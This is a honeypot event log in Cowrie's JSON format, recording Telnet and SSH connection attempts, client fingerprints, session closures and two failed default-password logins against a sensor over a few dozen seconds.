{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:11.286579Z","src_ip":"186.13.24.118","session":"317ad50cbbfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":42144,"dst_ip":"159.203.135.109","dst_port":23,"session":"949fc5aa819e","protocol":"telnet","message":"New connection: 80.252.221.197:42144 (159.203.135.109:23) [session: 949fc5aa819e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:11.842990Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitnami","message":"login attempt [root/bitnami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:11.943921Z","src_ip":"186.13.24.118","session":"317ad50cbbfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":42158,"dst_ip":"159.203.135.109","dst_port":23,"session":"faca2919d644","protocol":"telnet","message":"New connection: 80.252.221.197:42158 (159.203.135.109:23) [session: faca2919d644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:12.438435Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":42170,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbf434761008","protocol":"telnet","message":"New connection: 80.252.221.197:42170 (159.203.135.109:23) [session: cbf434761008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:12.539012Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36470,"dst_ip":"10.17.0.5","dst_port":23,"session":"b58e1adb806a","protocol":"telnet","message":"New connection: 159.203.13.64:36470 (10.17.0.5:23) [session: b58e1adb806a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:12.923714Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:13.103688Z","src_ip":"186.13.24.118","session":"317ad50cbbfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":42186,"dst_ip":"159.203.135.109","dst_port":23,"session":"649d07f93992","protocol":"telnet","message":"New connection: 80.252.221.197:42186 (159.203.135.109:23) [session: 649d07f93992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:13.108363Z"}
{"eventid":"cowrie.session.closed","duration":44.015013694763184,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:13.127324Z","src_ip":"159.203.13.64","session":"b7fd1d21a5a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":42188,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b75bb225b63","protocol":"telnet","message":"New connection: 80.252.221.197:42188 (159.203.135.109:23) [session: 7b75bb225b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:13.194164Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":42196,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd5aee0cc44b","protocol":"telnet","message":"New connection: 80.252.221.197:42196 (159.203.135.109:23) [session: fd5aee0cc44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:13.278151Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36484,"dst_ip":"10.17.0.5","dst_port":23,"session":"43ebe42ab320","protocol":"telnet","message":"New connection: 159.203.13.64:36484 (10.17.0.5:23) [session: 43ebe42ab320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:14.294396Z"}
{"eventid":"cowrie.session.closed","duration":38.8027024269104,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:14.941704Z","src_ip":"159.203.13.64","session":"5394b051db09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.47692251205444,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:15.722090Z","src_ip":"80.252.221.197","session":"c83cf794b30e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.420385122299194,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:15.996371Z","src_ip":"159.203.13.64","session":"80482c11d41f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36494,"dst_ip":"10.17.0.5","dst_port":23,"session":"1024d0fb4057","protocol":"telnet","message":"New connection: 159.203.13.64:36494 (10.17.0.5:23) [session: 1024d0fb4057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:17.987384Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36500,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c8a92ad7704","protocol":"telnet","message":"New connection: 159.203.13.64:36500 (10.17.0.5:23) [session: 2c8a92ad7704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:18.210103Z"}
{"eventid":"cowrie.session.closed","duration":39.63474130630493,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:18.806968Z","src_ip":"159.203.13.64","session":"4a625e1d5faa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36516,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce732c600bbe","protocol":"telnet","message":"New connection: 159.203.13.64:36516 (10.17.0.5:23) [session: ce732c600bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:19.126400Z"}
{"eventid":"cowrie.session.closed","duration":43.002195596694946,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:22.085360Z","src_ip":"159.203.13.64","session":"99998dbdb79f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.1795759201049805,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:23.305857Z","src_ip":"159.203.13.64","session":"ce732c600bbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54810,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7068e8e2d4b","protocol":"telnet","message":"New connection: 159.203.13.64:54810 (10.17.0.5:23) [session: e7068e8e2d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:23.404345Z"}
{"eventid":"cowrie.session.closed","duration":44.32456135749817,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:24.369449Z","src_ip":"159.203.13.64","session":"22621008e9a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":53542,"dst_ip":"159.203.135.109","dst_port":23,"session":"66278791154e","protocol":"telnet","message":"New connection: 80.252.221.197:53542 (159.203.135.109:23) [session: 66278791154e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:24.961568Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":53552,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c7450a6ce9c","protocol":"telnet","message":"New connection: 80.252.221.197:53552 (159.203.135.109:23) [session: 7c7450a6ce9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:25.339492Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":53566,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b8507a8c40d","protocol":"telnet","message":"New connection: 80.252.221.197:53566 (159.203.135.109:23) [session: 3b8507a8c40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:25.641746Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54820,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdaa9dedcee5","protocol":"telnet","message":"New connection: 159.203.13.64:54820 (10.17.0.5:23) [session: bdaa9dedcee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:25.655499Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":53570,"dst_ip":"159.203.135.109","dst_port":23,"session":"178ff7e3188c","protocol":"telnet","message":"New connection: 80.252.221.197:53570 (159.203.135.109:23) [session: 178ff7e3188c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:25.735842Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":53582,"dst_ip":"159.203.135.109","dst_port":23,"session":"1702630fa220","protocol":"telnet","message":"New connection: 80.252.221.197:53582 (159.203.135.109:23) [session: 1702630fa220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:25.960864Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":53588,"dst_ip":"159.203.135.109","dst_port":23,"session":"c82406e75dab","protocol":"telnet","message":"New connection: 80.252.221.197:53588 (159.203.135.109:23) [session: c82406e75dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:27.438407Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":59982,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6b467773f13","protocol":"telnet","message":"New connection: 80.252.221.197:59982 (159.203.135.109:23) [session: f6b467773f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:27.675481Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":59990,"dst_ip":"159.203.135.109","dst_port":23,"session":"16c60da11e9e","protocol":"telnet","message":"New connection: 80.252.221.197:59990 (159.203.135.109:23) [session: 16c60da11e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:28.497452Z"}
{"eventid":"cowrie.session.closed","duration":41.45178413391113,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:28.935286Z","src_ip":"159.203.13.64","session":"ee349b408019","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54826,"dst_ip":"10.17.0.5","dst_port":23,"session":"004c4c5333b1","protocol":"telnet","message":"New connection: 159.203.13.64:54826 (10.17.0.5:23) [session: 004c4c5333b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:30.662411Z"}
{"eventid":"cowrie.session.closed","duration":41.501181840896606,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:31.468640Z","src_ip":"159.203.13.64","session":"43441dd51e78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.981621503829956,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:32.756937Z","src_ip":"159.203.13.64","session":"13dea7a7ec6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.007752418518066,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:32.834060Z","src_ip":"159.203.13.64","session":"54b56b83ecb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.251303911209106,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:33.184989Z","src_ip":"159.203.13.64","session":"365f163f7617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.944554567337036,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:34.032961Z","src_ip":"159.203.13.64","session":"1363e8812248","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.0228166580200195,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:34.685105Z","src_ip":"159.203.13.64","session":"004c4c5333b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.98434638977051,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:34.937671Z","src_ip":"159.203.13.64","session":"66bcc2be2486","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36860,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdcb79a1d40b","protocol":"telnet","message":"New connection: 159.203.13.64:36860 (10.17.0.5:23) [session: cdcb79a1d40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:35.072897Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36870,"dst_ip":"10.17.0.5","dst_port":23,"session":"61271009e766","protocol":"telnet","message":"New connection: 159.203.13.64:36870 (10.17.0.5:23) [session: 61271009e766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:35.079648Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36880,"dst_ip":"10.17.0.5","dst_port":23,"session":"bde79831c8c2","protocol":"telnet","message":"New connection: 159.203.13.64:36880 (10.17.0.5:23) [session: bde79831c8c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:35.139085Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36894,"dst_ip":"10.17.0.5","dst_port":23,"session":"2392476a1adc","protocol":"telnet","message":"New connection: 159.203.13.64:36894 (10.17.0.5:23) [session: 2392476a1adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:35.286404Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44220,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ca2d6c10a65","protocol":"ssh","message":"New connection: 159.203.92.129:44220 (159.203.135.109:22) [session: 1ca2d6c10a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:35.560330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:35.565649Z","src_ip":"159.203.92.129","session":"1ca2d6c10a65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:35.569750Z","src_ip":"159.203.92.129","session":"1ca2d6c10a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alison","password":"alison","message":"login attempt [alison/alison] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:35.580691Z","src_ip":"159.203.92.129","session":"1ca2d6c10a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.3492271900177,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:35.798583Z","src_ip":"159.203.13.64","session":"2dbc785d6a4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:36.588566Z","src_ip":"159.203.92.129","session":"1ca2d6c10a65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36908,"dst_ip":"10.17.0.5","dst_port":23,"session":"66a7d71c72cc","protocol":"telnet","message":"New connection: 159.203.13.64:36908 (10.17.0.5:23) [session: 66a7d71c72cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:36.943212Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36916,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e0262cc5ecd","protocol":"telnet","message":"New connection: 159.203.13.64:36916 (10.17.0.5:23) [session: 2e0262cc5ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:36.956473Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36922,"dst_ip":"10.17.0.5","dst_port":23,"session":"53d16969d40b","protocol":"telnet","message":"New connection: 159.203.13.64:36922 (10.17.0.5:23) [session: 53d16969d40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:39.963546Z"}
{"eventid":"cowrie.session.closed","duration":50.99346709251404,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:40.036060Z","src_ip":"159.203.13.64","session":"19d86a7e0c87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47800,"dst_ip":"10.17.0.5","dst_port":23,"session":"897679b370e0","protocol":"telnet","message":"New connection: 159.203.13.64:47800 (10.17.0.5:23) [session: 897679b370e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:41.087662Z"}
{"eventid":"cowrie.session.closed","duration":4.2374491691589355,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:41.193797Z","src_ip":"159.203.13.64","session":"2e0262cc5ecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.00232744216919,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:44.320891Z","src_ip":"159.203.13.64","session":"63cc6174adb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.14881372451782,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:45.587134Z","src_ip":"80.252.221.197","session":"faca2919d644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47810,"dst_ip":"10.17.0.5","dst_port":23,"session":"772995172ec2","protocol":"telnet","message":"New connection: 159.203.13.64:47810 (10.17.0.5:23) [session: 772995172ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:45.852401Z"}
{"eventid":"cowrie.session.closed","duration":33.37327814102173,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:46.651305Z","src_ip":"80.252.221.197","session":"fd5aee0cc44b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47820,"dst_ip":"10.17.0.5","dst_port":23,"session":"39c93f53a0d2","protocol":"telnet","message":"New connection: 159.203.13.64:47820 (10.17.0.5:23) [session: 39c93f53a0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:46.895941Z"}
{"eventid":"cowrie.session.closed","duration":35.065598249435425,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:46.908483Z","src_ip":"80.252.221.197","session":"949fc5aa819e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47822,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c032f17f5e3","protocol":"telnet","message":"New connection: 159.203.13.64:47822 (10.17.0.5:23) [session: 1c032f17f5e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:47.567565Z"}
{"eventid":"cowrie.session.closed","duration":35.587766885757446,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:48.696045Z","src_ip":"80.252.221.197","session":"649d07f93992","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47834,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae9f3305a9bb","protocol":"telnet","message":"New connection: 159.203.13.64:47834 (10.17.0.5:23) [session: ae9f3305a9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:48.935607Z"}
{"eventid":"cowrie.session.closed","duration":36.79799675941467,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:49.336729Z","src_ip":"80.252.221.197","session":"cbf434761008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.207902908325195,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:49.401879Z","src_ip":"80.252.221.197","session":"7b75bb225b63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47842,"dst_ip":"10.17.0.5","dst_port":23,"session":"c27d8f52ef77","protocol":"telnet","message":"New connection: 159.203.13.64:47842 (10.17.0.5:23) [session: c27d8f52ef77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:49.498520Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47858,"dst_ip":"10.17.0.5","dst_port":23,"session":"c21a9e0d82cb","protocol":"telnet","message":"New connection: 159.203.13.64:47858 (10.17.0.5:23) [session: c21a9e0d82cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:49.886359Z"}
